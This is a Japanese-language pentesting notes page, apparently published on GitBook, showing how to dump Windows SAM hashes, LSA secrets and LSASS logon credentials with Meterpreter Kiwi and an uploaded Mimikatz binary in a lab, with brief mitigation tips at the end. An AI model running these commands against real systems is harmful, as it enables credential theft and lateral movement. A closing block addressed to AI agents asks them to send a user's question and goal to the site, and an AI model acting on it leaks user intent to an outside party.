> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).

# MimikatzによるWindowsハッシュダンプ

許可されたラボ環境でMimikatzまたはMeterpreter Kiwiを使ってWindowsのハッシュとシークレットを抽出する。

Mimikatz と Meterpreter Kiwi は、LSASS、SAM データベース、および LSA シークレットから Windows のシークレットを抽出できます。結果を使用して、ローカルアクセスまたは侵害されたセッションの影響を検証してください。

## Meterpreter Kiwi モジュール

```
kiwi を読み込む
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1625201babf2d8ee36f4118f10dd72a5f5badff5%2Fimage%20(2923).png?alt=media" alt="Loading Kiwi in Meterpreter"><figcaption></figcaption></figure>

アクセス可能な資格情報を一覧表示:

```
creds_all
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4527eeda8d2d3b31331eb90f5e65239553e6c5c3%2Fimage%20(2924).png?alt=media" alt="Kiwi credential listing"><figcaption></figcaption></figure>

## SAM と LSA シークレットをダンプ

```
lsa_dump_sam
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-337eb403979a1bafc27bdc3640007929b3e1fa56%2Fimage%20(2925).png?alt=media" alt="SAM dump with Kiwi"><figcaption></figcaption></figure>

```
lsa_dump_secrets
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93e2742ea81edda641394a44bc6912f386cafa1c%2Fimage%20(2926).png?alt=media" alt="LSA secrets dump with Kiwi"><figcaption></figcaption></figure>

## Mimikatz を実行

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2eb336ea9dcf78b592ee476ecefec109bf427605%2Fimage%20(2927).png?alt=media" alt="Uploading Mimikatz"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e003a09d1d052831b391c639b50380a5d3af1cb%2Fimage%20(2928).png?alt=media" alt="Mimikatz SAM and secrets commands"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0749836a9c32b014b7195e74705443147a9e92b6%2Fimage%20(2930).png?alt=media" alt="Mimikatz credential output"><figcaption></figcaption></figure>

## 要点

* LSASS には、アクティブなログオン セッションの資格情報が含まれている場合があります。
* SAM には、ローカル アカウントの NTLM ハッシュが含まれています。
* Credential Guard、ローカル管理者権限の露出低減、LSASS アクセスの監視によって対策してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
